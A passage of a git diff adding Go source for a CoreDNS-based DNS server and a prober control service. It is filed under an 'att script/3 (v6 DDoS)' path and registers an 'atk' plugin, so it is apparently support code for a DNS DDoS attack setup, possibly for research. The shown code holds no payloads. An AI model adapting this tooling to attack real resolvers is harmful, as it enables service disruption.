stdlog.New(&loggerAdapter{}, "", 0), + } + sh := &ServerHTTPS{ + Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator, + } + sh.httpsServer.Handler = sh + + return sh, nil +} + +// Compile-time check to ensure Server implements the caddy.GracefulServer interface +var _ caddy.GracefulServer = &Server{} + +// Serve implements caddy.TCPServer interface. +func (s *ServerHTTPS) Serve(l net.Listener) error { + s.m.Lock() + s.listenAddr = l.Addr() + s.m.Unlock() + + if s.tlsConfig != nil { + l = tls.NewListener(l, s.tlsConfig) + } + return s.httpsServer.Serve(l) +} + +// ServePacket implements caddy.UDPServer interface. +func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil } + +// Listen implements caddy.TCPServer interface. +func (s *ServerHTTPS) Listen() (net.Listener, error) { + l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):]) + if err != nil { + return nil, err + } + return l, nil +} + +// ListenPacket implements caddy.UDPServer interface. +func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil } + +// OnStartupComplete lists the sites served by this server +// and any relevant information, assuming Quiet is false. +func (s *ServerHTTPS) OnStartupComplete() { + if Quiet { + return + } + + out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones) + if out != "" { + fmt.Print(out) + } +} + +// Stop stops the server. It blocks until the server is totally stopped. +func (s *ServerHTTPS) Stop() error { + s.m.Lock() + defer s.m.Unlock() + if s.httpsServer != nil { + s.httpsServer.Shutdown(context.Background()) + } + return nil +} + +// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin +// chain, converts it back and write it to the client. +func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if !s.validRequest(r) { + http.Error(w, "", http.StatusNotFound) + s.countResponse(http.StatusNotFound) + return + } + + msg, err := doh.RequestToMsg(r) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + s.countResponse(http.StatusBadRequest) + return + } + + // Create a DoHWriter with the correct addresses in it. + h, p, _ := net.SplitHostPort(r.RemoteAddr) + port, _ := strconv.Atoi(p) + dw := &DoHWriter{ + laddr: s.listenAddr, + raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port}, + request: r, + } + + // We just call the normal chain handler - all error handling is done there. + // We should expect a packet to be returned that we can send to the client. + ctx := context.WithValue(context.Background(), Key{}, s.Server) + ctx = context.WithValue(ctx, LoopKey{}, 0) + ctx = context.WithValue(ctx, HTTPRequestKey{}, r) + s.ServeDNS(ctx, dw, msg) + + // See section 4.2.1 of RFC 8484. + // We are using code 500 to indicate an unexpected situation when the chain + // handler has not provided any response message. + if dw.Msg == nil { + http.Error(w, "No response", http.StatusInternalServerError) + s.countResponse(http.StatusInternalServerError) + return + } + + buf, _ := dw.Msg.Pack() + + mt, _ := response.Typify(dw.Msg, time.Now().UTC()) + age := dnsutil.MinimalTTL(dw.Msg, mt) + + w.Header().Set("Content-Type", doh.MimeType) + w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds())) + w.Header().Set("Content-Length", strconv.Itoa(len(buf))) + w.WriteHeader(http.StatusOK) + s.countResponse(http.StatusOK) + + w.Write(buf) +} + +func (s *ServerHTTPS) countResponse(status int) { + vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc() +} + +// Shutdown stops the server (non gracefully). +func (s *ServerHTTPS) Shutdown() error { + if s.httpsServer != nil { + s.httpsServer.Shutdown(context.Background()) + } + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" new file mode 100644 index 0000000..75a8dbe --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" @@ -0,0 +1,102 @@ +package dnsserver + +import ( + "context" + "crypto/tls" + "fmt" + "net" + "ohmydns2/plugin/pkg/reuseport" + "ohmydns2/plugin/pkg/transport" + "time" + + "github.com/coredns/caddy" + "github.com/miekg/dns" +) + +// ServerTLS represents an instance of a TLS-over-DNS-server. +type ServerTLS struct { + *Server + tlsConfig *tls.Config +} + +// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it. +func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) { + s, err := NewServer(addr, group) + if err != nil { + return nil, err + } + // The *tls* plugin must make sure that multiple conflicting + // TLS configuration returns an error: it can only be specified once. + var tlsConfig *tls.Config + for _, z := range s.zones { + for _, conf := range z { + // Should we error if some configs *don't* have TLS? + tlsConfig = conf.TLSConfig + } + } + + return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil +} + +// Compile-time check to ensure Server implements the caddy.GracefulServer interface +var _ caddy.GracefulServer = &Server{} + +// Serve implements caddy.TCPServer interface. +func (s *ServerTLS) Serve(l net.Listener) error { + s.m.Lock() + + if s.tlsConfig != nil { + l = tls.NewListener(l, s.tlsConfig) + } + + // Only fill out the TCP server for this one. + s.server[tcp] = &dns.Server{Listener: l, + Net: "tcp-tls", + MaxTCPQueries: tlsMaxQueries, + ReadTimeout: s.readTimeout, + WriteTimeout: s.writeTimeout, + IdleTimeout: func() time.Duration { + return s.idleTimeout + }, + Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { + ctx := context.WithValue(context.Background(), Key{}, s.Server) + ctx = context.WithValue(ctx, LoopKey{}, 0) + s.ServeDNS(ctx, w, r) + })} + + s.m.Unlock() + + return s.server[tcp].ActivateAndServe() +} + +// ServePacket implements caddy.UDPServer interface. +func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil } + +// Listen implements caddy.TCPServer interface. +func (s *ServerTLS) Listen() (net.Listener, error) { + l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):]) + if err != nil { + return nil, err + } + return l, nil +} + +// ListenPacket implements caddy.UDPServer interface. +func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil } + +// OnStartupComplete lists the sites served by this server +// and any relevant information, assuming Quiet is false. +func (s *ServerTLS) OnStartupComplete() { + if Quiet { + return + } + + out := startUpZones(transport.TLS+"://", s.Addr, s.zones) + if out != "" { + fmt.Print(out) + } +} + +const ( + tlsMaxQueries = -1 +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" new file mode 100644 index 0000000..094738a --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" @@ -0,0 +1,19 @@ +package dnsserver + +import ( + "context" + "ohmydns2/plugin/pkg/request" +) + +// Viewer - If Viewer is implemented by a plugin in a server block, its Filter() +// is added to the server block's filter functions when starting the server. When a running server +// serves a DNS request, it will route the request to the first Config (server block) that passes +// all its filter functions. +type Viewer interface { + // Filter returns true if the server should use the server block in which the implementing plugin resides, and the + // name of the view for metrics logging. + Filter(ctx context.Context, req *request.Request) bool + + // ViewName returns the name of the view + ViewName() string +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" new file mode 100644 index 0000000..fd4e0a8 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" @@ -0,0 +1,21 @@ +// generated by plugin_gen.go; DO NOT EDIT + +package dnsserver + +// Directives are registered in the order they should be +// executed. +// +// Ordering is VERY important. Every plugin will +// feel the effects of all other plugin below +// (after) them during a request, but they must not +// care what plugin above them are doing. +var Directives = []string{ + "log", + "dnstap", + "debug", + "prometheus", + "forward", + "metadata", + "whoami", + "atk", +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" new file mode 100644 index 0000000..0d41075 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" @@ -0,0 +1,17 @@ +// generated by plugin_gen.go; DO NOT EDIT + +package plugin + +import ( + // Include all plugins. + _ "ohmydns2/plugin/atk" + _ "ohmydns2/plugin/debug" + _ "ohmydns2/plugin/dnstap" + _ "ohmydns2/plugin/forward" + _ "ohmydns2/plugin/log" + _ "ohmydns2/plugin/metadata" + _ "ohmydns2/plugin/prober/probe53" + _ "ohmydns2/plugin/prober/qname" + _ "ohmydns2/plugin/prometheus" + _ "ohmydns2/plugin/whoami" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" new file mode 100644 index 0000000..7a0e0df --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" @@ -0,0 +1,85 @@ +package prober + +import ( + "fmt" + "net" + "strings" +) + +type addr struct { + Port string + Transport string // HTTP + Address string // used for bound addr - validation of overlapping +} + +// String returns the string representation of addr. +func (a addr) String() string { + s := "探测服务: " + a.Transport + "://" + ":" + a.Port + if a.Address != "" { + s += " on " + a.Address + } + return s +} + +// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts. +func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) { + parts := strings.Split(address, "://") + switch len(parts) { + case 1: + ip, port, err := net.SplitHostPort(parts[0]) + return "", ip, port, err + case 2: + ip, port, err := net.SplitHostPort(parts[1]) + return parts[0], ip, port, err + default: + return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address) + } +} + +type zoneOverlap struct { + registeredAddr map[addr]addr // each zoneAddr is registered once by its key + unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key +} + +func newOverlapZone() *zoneOverlap { + return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)} +} + +// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered +// we consider that an unbound address is overlapping all bound addresses for same zone, same port +func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) { + existingZone, overlappingZone = zo.check(a) + if existingZone != nil || overlappingZone != nil { + return existingZone, overlappingZone + } + // there is no overlap, keep the current zoneAddr for future checks + zo.registeredAddr[a] = a + zo.unboundOverlap[a.unbound()] = a + return nil, nil +} + +// check validates a zoneAddr for overlap without registering it +func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) { + if exist, ok := zo.registeredAddr[a]; ok { + // exact same zone already registered + return &exist, nil + } + uz := a.unbound() + if already, ok := zo.unboundOverlap[uz]; ok { + if a.Address == "" { + // current is not bound to an address, but there is already another zone with a bind address registered + return nil, &already + } + if _, ok := zo.registeredAddr[uz]; ok { + // current zone is bound to an address, but there is already an overlapping zone+port with no bind address + return nil, &uz + } + } + // there is no overlap + return nil, nil +} + +// unbound returns an unbound version of the zoneAddr +func (a addr) unbound() addr { + return addr{Address: "", Port: a.Port, Transport: a.Transport} +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" new file mode 100644 index 0000000..a205d87 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" @@ -0,0 +1,54 @@ +package prober + +import ( + "fmt" + "ohmydns2/plugin/pkg/dnsutil" + "regexp" +) + +// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not. +// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax +func checkZoneSyntax(zone string) bool { + if zone == "." || dnsutil.IsReverse(zone) != 0 { + return true + } + regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone) + return regex1035PreferredSyntax +} + +// startUpZones creates the text that we show when starting up: +// grpc://example.com.:1055 +// example.com.:1053 on 127.0.0.1 +func startUpZones(protocol, addr string) string { + s := "" + + //keys := make([]string, len(zones)) + //i := 0 + // + //for k := range zones { + // keys[i] = k + // i++ + //} + //sort.Strings(keys) + // + //for _, zone := range keys { + //if strings.HasPrefix(protocol, "prober") { + // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath) + // continue + //} + // split addr into protocol, IP and Port + _, ip, port, err := SplitProtocolHostPort(addr) + + if err != nil { + // this should not happen, but we need to take care of it anyway + s += fmt.Sprintln(protocol + ":" + addr) + } + if ip == "" { + s += fmt.Sprintln(protocol + ":" + port) + } + // if the server is listening on a specific address let's make it visible in the log, + // so one can differentiate between all active listeners + s += fmt.Sprintln(protocol + ":" + port + " on " + ip) + //} + return s +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" new file mode 100644 index 0000000..98b4a5b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" @@ -0,0 +1,15 @@ +// generated by plugin_gen.go; DO NOT EDIT + +package prober + +// Directives are registered in the order they should be +// executed. +// +// Ordering is VERY important. Every plugin will +// feel the effects of all other plugin below +// (after) them during a request, but they must not +// care what plugin above them are doing. +var Directives = []string{ + "qname", + "probe53", +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" new file mode 100644 index 0000000..e4d6dc9 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" @@ -0,0 +1,10 @@ +package prober + +const ( + globalRange = "globe" + goroutinePoolSize = 3000 +) + +const ( + rangeParam = "prange" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" new file mode 100644 index 0000000..4d61902 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" @@ -0,0 +1,285 @@ +package prober + +import ( + "context" + "encoding/json" + "fmt" + stdlog "log" + "net" + "net/http" + "ohmydns2/core/dnsserver" + ohttp "ohmydns2/plugin/pkg/http" + olog "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/prober" + "ohmydns2/plugin/pkg/reuseport" + "ohmydns2/plugin/pkg/transport" + "ohmydns2/plugin/prometheus/vars" + "strconv" + "sync" + + "github.com/coredns/caddy" +) + +type ProberWriter struct { + laddr net.Addr + raddr net.Addr + request http.Request +} + +type ProberHTTP struct { + *ProbeServer + httpServer *http.Server + listenAddr net.Addr + validRequest func(*http.Request) bool + m sync.Mutex +} + +type proberstate struct { + Code int `json:"code"` + Probernum int `json:"probernum"` + M map[int]prober.Prober `json:"proberlist"` + Msg string `json:"msg"` +} + +type codeAndMsg struct { + Code int `json:"code"` + Msg string `json:"msg"` +} + +// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server +type loggerAdapter struct { +} + +func (l *loggerAdapter) Write(p []byte) (n int, err error) { + olog.Debug(string(p)) + return len(p), nil +} + +// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH) +type HTTPRequestKey struct{} + +// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it. +func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) { + s, err := NewServer(addr, conf) + if err != nil { + return nil, err + } + + // 定义一个检查器来检查访问路径是否正确. + var validator func(*http.Request) bool + validator = conf.HTTPRequestValidateFunc + + if validator == nil { + validator = func(r *http.Request) bool { return r.URL.Path == proberPath } + } + + srv := &http.Server{ + ReadTimeout: s.readTimeout, + WriteTimeout: s.writeTimeout, + IdleTimeout: s.idleTimeout, + ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), + } + + sh := &ProberHTTP{ + ProbeServer: s, httpServer: srv, validRequest: validator, + } + sh.httpServer.Handler = sh + + return sh, nil +} + +// Compile-time check to ensure Server implements the caddy.GracefulServer interface +var _ caddy.GracefulServer = &dnsserver.Server{} + +// Serve implements caddy.TCPServer interface. +func (p *ProberHTTP) Serve(l net.Listener) error { + p.m.Lock() + p.listenAddr = l.Addr() + p.m.Unlock() + + return p.httpServer.Serve(l) +} + +// ServePacket implements caddy.UDPServer interface. +func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil } + +// Listen implements caddy.TCPServer interface. +func (p *ProberHTTP) Listen() (net.Listener, error) { + l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):]) + if err != nil { + return nil, err + } + return l, nil +} + +// ListenPacket implements caddy.UDPServer interface. +func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil } + +// OnStartupComplete lists the sites served by this server +// and any relevant information, assuming Quiet is false. +func (p *ProberHTTP) OnStartupComplete() { + if Quiet { + return + } + + out := startUpZones(transport.PROBER+"://", p.Addr) + if out != "" { + fmt.Print(out) + } +} + +// Stop stops the server. It blocks until the server is totally stopped. +func (p *ProberHTTP) Stop() error { + p.m.Lock() + defer p.m.Unlock() + if p.httpServer != nil { + err := p.httpServer.Shutdown(context.Background()) + if err != nil { + return err + } + } + return nil +} + +// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin +// chain, converts it back and write it to the client. +func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if !p.validRequest(r) { + http.Error(w, "", http.StatusNotFound) + p.countResponse(http.StatusNotFound) + return + } + // 设置响应头部 + w.Header().Set("Content-Type", proberContenttype) + + // 解析请求 + param, _ := ohttp.ParseRequest(r) + // 参数定义 + // act: res代表获取当前所有Prober状态,new代表新建Prober + // ptype: 探针类型,v64代表IPv4-IPv6关联发现的探针,默认v64 + // prange: 探测范围,默认全局, + + // 检查参数 + if res, rc := prober.VaildArgs(param); rc != 0 { + //发生错误 + w.WriteHeader(http.StatusBadRequest) + p.countResponse(http.StatusBadRequest) + rec := &proberstate{Code: http.StatusBadRequest, Msg: res} + msg, _ := json.Marshal(rec) + _, err := w.Write(msg) + if err != nil { + return + } + return + } + // 参数没有问题,开始处理 + if v, ok := param["act"]; ok { + switch v[0] { + + case "new": + ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer) + ctx = context.WithValue(ctx, LoopKey{}, 0) + ctx = context.WithValue(ctx, HTTPRequestKey{}, r) + serverr, rs := p.ServeProbe(ctx, w, r) + // 服务发生错误 + if serverr != nil { + //发生错误 + w.WriteHeader(http.StatusInternalServerError) + p.countResponse(http.StatusInternalServerError) + res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs} + msg, _ := json.Marshal(res) + _, err := w.Write(msg) + if err != nil { + olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) + return + } + return + } + //一切正常 + w.WriteHeader(http.StatusOK) + p.countResponse(http.StatusOK) + rec := &codeAndMsg{Code: http.StatusOK, Msg: rs} + msg, _ := json.Marshal(rec) + _, err := w.Write(msg) + if err != nil { + olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) + return + } + return + + case "stop": + if n, pok := param["pid"]; pok { + id, _ := strconv.Atoi(n[0]) + err := p.proberlist.DeleteProberById(id) + if err != nil { + return + } + // 成功删除 + w.WriteHeader(http.StatusOK) + p.countResponse(http.StatusOK) + rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)} + msg, _ := json.Marshal(rec) + _, err = w.Write(msg) + if err != nil { + olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) + return + } + return + } + + // 无参数指定则停止所有探测任务 + for pid := range p.proberlist.Pl { + err := p.proberlist.DeleteProberById(pid) + if err != nil { + return + } + } + w.WriteHeader(http.StatusOK) + p.countResponse(http.StatusOK) + rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"} + msg, _ := json.Marshal(rec) + _, err := w.Write(msg) + if err != nil { + olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) + return + } + return + default: + //跳转到列举探测器状态 + break + } + } + // 无act参数默认列举所有探测器当前状态 + allProber, m, err := p.proberlist.ListAllProber() + if err != nil { + return + } + rt := proberstate{ + Code: http.StatusOK, + Probernum: allProber, + M: m, + } + w.WriteHeader(http.StatusOK) + p.countResponse(http.StatusOK) + msg, _ := json.Marshal(rt) + w.Write(msg) + +} + +func (p *ProberHTTP) countResponse(status int) { + vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc() +} + +// Shutdown stops the server (non gracefully). +func (p *ProberHTTP) Shutdown() error { + if p.httpServer != nil { + p.httpServer.Shutdown(context.Background()) + } + return nil +} + +const ( + proberContenttype = "application/json" + proberPath = "/prober" + proberurl = "localhost" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" new file mode 100644 index 0000000..a2716d6 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" @@ -0,0 +1,405 @@ +package prober + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "github.com/coredns/caddy" + ot "github.com/opentracing/opentracing-go" + "github.com/panjf2000/ants/v2" + "net" + "net/http" + "ohmydns2/plugin" + ohttp "ohmydns2/plugin/pkg/http" + olog "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/prober" + "ohmydns2/plugin/pkg/request" + "ohmydns2/plugin/pkg/reuseport" + "ohmydns2/plugin/pkg/trace" + "ohmydns2/plugin/pkg/transport" + "ohmydns2/plugin/prometheus/vars" + "runtime" + "runtime/debug" + "sync" + "time" +) + +// ProbeServer represents an instance of a server, which serves +// DNS requests at a particular address (host and port). A +// server is capable of serving numerous zones on +// the same address and the listener may be stopped for +// graceful termination (POSIX only). +type ProbeServer struct { + Addr string // Address we listen on + + server *http.Server // http服务 + m sync.Mutex // protects the servers + + conf *prober.PBConfig // zones keyed by their port + httpWg sync.WaitGroup // used to wait on outstanding connections + graceTimeout time.Duration // the maximum duration of a graceful shutdown + trace trace.Trace // the trace plugin for the server + debug bool // disable recover() + stacktrace bool // enable stacktrace in recover error log + classChaos bool // allow non-INET class queries + idleTimeout time.Duration // Idle timeout for TCP + readTimeout time.Duration // Read timeout for TCP + writeTimeout time.Duration // Write timeout for TCP + + proberlist *prober.ProberAndGoroutList //探测器列表 + + tsigSecret map[string]string +} + +// response 是Prober控制响应的抽象 +type response struct { + Code int `json:"code"` + Msg string `json:"msg"` +} + +// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it. +func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) { + s := &ProbeServer{ + Addr: addr, + graceTimeout: 5 * time.Second, + idleTimeout: 10 * time.Second, + readTimeout: 3 * time.Second, + writeTimeout: 5 * time.Second, + tsigSecret: make(map[string]string), + proberlist: &prober.ProberAndGoroutList{ + Pl: make(map[int]*prober.Prober), + GRPool: new(ants.Pool), + }, + } + s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true)) + olog.Infof("服务启动,监听地址: %v", addr) + + // We have to bound our wg with one increment + // to prevent a "race condition" that is hard-coded + // into sync.WaitGroup.Wait() - basically, an add + // with a positive delta must be guaranteed to + // occur before Wait() is called on the wg. + // In a way, this kind of acts as a safety barrier. + s.httpWg.Add(1) + + if conf.Debug { + s.debug = true + olog.D.Set() + } + s.stacktrace = conf.Stacktrace + + // append the config to the zone's configs + s.conf = conf + + // set timeouts + if conf.ReadTimeout != 0 { + s.readTimeout = conf.ReadTimeout + } + if conf.WriteTimeout != 0 { + s.writeTimeout = conf.WriteTimeout + } + if conf.IdleTimeout != 0 { + s.idleTimeout = conf.IdleTimeout + } + + //// copy tsig secrets + //for key, secret := range conf.TsigSecret { + // s.tsigSecret[key] = secret + //} + + // compile custom plugin for everything + var stack plugin.Prober + for i := len(conf.Plugin) - 1; i >= 0; i-- { + stack = conf.Plugin[i](stack) + + // register the *handler* also + conf.RegisterProber(stack) + + // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin + // list backwards, so the first MetadataCollector plugin wins. + if mdc, ok := stack.(prober.ProberMetadataCollector); ok { + conf.MetaCollector = mdc + } + + if s.trace == nil && stack.Name() == "trace" { + // we have to stash away the plugin, not the + // Tracer object, because the Tracer won't be initialized yet + if t, ok := stack.(trace.Trace); ok { + s.trace = t + } + } + // Unblock CH class queries when any of these plugins are loaded. + if _, ok := EnableChaos[stack.Name()]; ok { + s.classChaos = true + } + conf.PluginChain = stack + } + + if !s.debug { + // When reloading we need to explicitly disable debug logging if it is now disabled. + olog.D.Clear() + } + + return s, nil +} + +// Compile-time check to ensure Server implements the caddy.GracefulServer interface +var _ caddy.GracefulServer = &ProbeServer{} + +// Serve starts the server with an existing listener. It blocks until the server stops. +// This implements caddy.TCPServer interface. +func (ps *ProbeServer) Serve(l net.Listener) error { + ps.m.Lock() + + ps.server = &http.Server{ + Addr: l.Addr().String(), + Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) { + ctx := context.WithValue(context.Background(), Key{}, ps) + ctx = context.WithValue(ctx, LoopKey{}, 0) + err, s := ps.ServeProbe(ctx, writer, r) + if err != nil { + olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s) + return + } + }), + DisableGeneralOptionsHandler: false, + ReadTimeout: ps.readTimeout, + WriteTimeout: ps.writeTimeout, + IdleTimeout: ps.idleTimeout} + + ps.m.Unlock() + + return ps.server.ListenAndServe() +} + +// ServePacket starts the server with an existing packetconn. It blocks until the server stops. +// This implements caddy.UDPServer interface. +func (ps *ProbeServer) ServePacket(net.PacketConn) error { + return nil +} + +// Listen implements caddy.TCPServer interface. +func (ps *ProbeServer) Listen() (net.Listener, error) { + l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):]) + if err != nil { + return nil, err + } + return l, nil +} + +// WrapListener Listen implements caddy.GracefulServer interface. +func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener { + return ln +} + +// ListenPacket implements caddy.UDPServer interface. +func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) { + p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):]) + if err != nil { + return nil, err + } + + return p, nil +} + +// Stop stops the server. It blocks until the server is +// totally stopped. On POSIX systems, it will wait for +// connections to close (up to a max timeout of a few +// seconds); on Windows it will close the listener +// immediately. +// This implements Caddy.Stopper interface. +func (ps *ProbeServer) Stop() (err error) { + // 清空协程池 + defer ps.proberlist.GRPool.Release() + if runtime.GOOS != "windows" { + // force connections to close after timeout + done := make(chan struct{}) + go func() { + ps.httpWg.Done() // decrement our initial increment used as a barrier + ps.httpWg.Wait() + close(done) + }() + + // Wait for remaining connections to finish or + // force them all to close after timeout + select { + case <-time.After(ps.graceTimeout): + case <-done: + } + } + + // Close the listener now; this stops the server without delay + ps.m.Lock() + // We might not have started and initialized the full set of servers + if ps.server != nil { + err = ps.server.Shutdown(context.Background()) + } + + ps.m.Unlock() + return +} + +// Address together with Stop() implement caddy.GracefulServer. +func (ps *ProbeServer) Address() string { return ps.Addr } + +// ServeProbe 是每一个prober控制请求的入口 +// It acts as a multiplexer for the requests zonename as +// defined in the request so that the correct zone +// (configuration and plugin stack) will handle the request. +func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) { + if !ps.debug { + defer func() { + // In case the user doesn't enable error plugin, we still + // need to make sure that we stay alive up here + if rec := recover(); rec != nil { + 